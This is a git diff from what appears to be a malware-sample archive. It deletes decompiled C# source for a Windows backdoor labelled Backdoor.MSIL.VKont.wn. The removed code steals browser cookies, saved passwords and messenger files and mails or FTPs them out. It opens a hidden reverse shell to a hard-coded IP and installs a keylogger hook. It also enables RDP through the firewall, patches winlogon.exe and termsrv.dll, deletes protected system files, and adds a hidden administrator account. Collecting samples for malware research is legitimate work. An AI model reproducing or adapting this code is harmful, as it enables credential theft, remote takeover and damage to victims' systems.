- if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService"))
- {
- strArray1[index1] = directories1[index1].Substring(26);
- string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString());
- string[] strArray2 = new string[directories2.Length];
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8);
- for (int index2 = 0; index2 < directories2.Length; ++index2)
- {
- strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length);
- if (strArray2[index2] == "\\Cookies")
- {
- string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt");
- string[] strArray3 = new string[files.Length];
- for (int index3 = 0; index3 < files.Length; ++index3)
- {
- strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length);
- string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString();
- streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read));
- string str = path + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- break;
- }
- }
- }
- }
- Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
- }
- catch
- {
- if (!System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
- return;
- Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
- }
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void userVista(
- string disk,
- string n_file,
- string m_send,
- string smail,
- string sftp,
- string spapka)
- {
- if (m_send == "c_send")
- {
- try
- {
- string path = "C:\\Users";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka);
- }
- }
- }
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
- if (!(m_send == "p_send"))
- return;
- Program.SearchAll(disk, n_file, smail, sftp, spapka);
- }
-
- public static void CreatFileIEforVista(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
- System.IO.File.Delete("@D:\\ГЕНЕРАТОР");
- try
- {
- string path = "C:\\Users";
- string searchPattern = "*.txt";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- {
- foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies"))
- {
- try
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(directory);
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- }
- }
- }
- }
- }
- }
- catch
- {
- }
- }
- Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- Console.Title = args.Length != 0 ? args[0].ToString() : "Hello";
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- try
- {
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР");
- })).Start();
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread((ThreadStart) (() => Program.Backdoor())).Start();
- }
- catch
- {
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР");
- })).Start();
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread((ThreadStart) (() => Program.Backdoor())).Start();
- }
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("178.126.80.5", 8080);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache"))
- {
- int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length;
- for (int index = 0; index < length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]);
- }
- catch
- {
- }
- }
- }
- if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot"))
- return;
- for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1)
- {
- for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2)
- {
- FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]);
- try
- {
- Console.WriteLine(fileInfo.Name);
- fileInfo.Delete();
- --index2;
- }
- catch
- {
- }
- }
- }
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String);
- RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true);
- registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord);
- registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
-
- public static void RDP_M()
- {
- }
-
- public static void WinLogon()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- try
- {
- directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- try
- {
- directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- DirectoryEntry directoryEntry3;
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group");
- directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- directoryEntry3.Close();
- directoryEntry1.Close();
- directoryEntry2.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- processArray[index].Kill();
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- for (int index = 1; index <= 0; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(0.0));
- new Program.ScreenShotDll().CaptureScreen("null" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
- }
- }
-
- private static bool buffDlin()
- {
- int length = "null".Length;
- return true;
- }
-
- private static bool buffZ()
- {
- Program.buflyb = (string) null;
- int length = "null".Length;
- return true;
- }
-
- private static bool buffCritery() => Program.buffZ();
-
- private static void strBuffer()
- {
- bool flag = true;
- while (true)
- {
- do
- {
- IDataObject dataObject;
- do
- {
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- }
- while (!flag);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- }
- while (!flag || !Program.buffCritery());
- Clipboard.SetDataObject((object) "null");
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat)
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- this.SaveImageAs(compatibleBitmap, fileName, imageFormat);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- }
-
- public Bitmap CaptureScreen()
- {
- int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
- int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
- int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
- Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
- Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
- Bitmap image = this.GetImage(compatibleBitmap);
- this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
- return image;
- }
-
- private void Cleanup(int hBitmap, int hdcSrc, int hdcDest)
- {
- Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc);
- Program.GDI32.DeleteDC(hdcDest);
- Program.GDI32.DeleteObject(hBitmap);
- }
-
- private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat);
-
- private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height);
- }
-
- private class User32
- {
- [DllImport("User32.dll")]
- public static extern int GetDesktopWindow();
-
- [DllImport("User32.dll")]
- public static extern int GetWindowDC(int hWnd);
-
- [DllImport("User32.dll")]
- public static extern int ReleaseDC(int hWnd, int hDC);
- }
-
- private class GDI32
- {
- [DllImport("GDI32.dll")]
- public static extern bool BitBlt(
- int hdcDest,
- int nXDest,
- int nYDest,
- int nWidth,
- int nHeight,
- int hdcSrc,
- int nXSrc,
- int nYSrc,
- int dwRop);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight);
-
- [DllImport("GDI32.dll")]
- public static extern int CreateCompatibleDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteDC(int hdc);
-
- [DllImport("GDI32.dll")]
- public static extern bool DeleteObject(int hObject);
-
- [DllImport("GDI32.dll")]
- public static extern int GetDeviceCaps(int hdc, int nIndex);
-
- [DllImport("GDI32.dll")]
- public static extern int SelectObject(int hdc, int hgdiobj);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj
deleted file mode 100644
index 76f6506e..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {30591E33-8F94-4DBC-9520-078760AF0420}
- Exe
- 1
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln
deleted file mode 100644
index 90d38ecd..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1", "Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f.csproj", "{30591E33-8F94-4DBC-9520-078760AF0420}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {30591E33-8F94-4DBC-9520-078760AF0420}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {30591E33-8F94-4DBC-9520-078760AF0420}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {30591E33-8F94-4DBC-9520-078760AF0420}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {30591E33-8F94-4DBC-9520-078760AF0420}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs
deleted file mode 100644
index bc2e7f89..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs
+++ /dev/null
@@ -1,1112 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: 1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 03D1C1E9-0DD7-4E4C-83B9-CB0ED7E5AEDF
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f.exe
-
-using Microsoft.Win32;
-using System;
-using System.Collections;
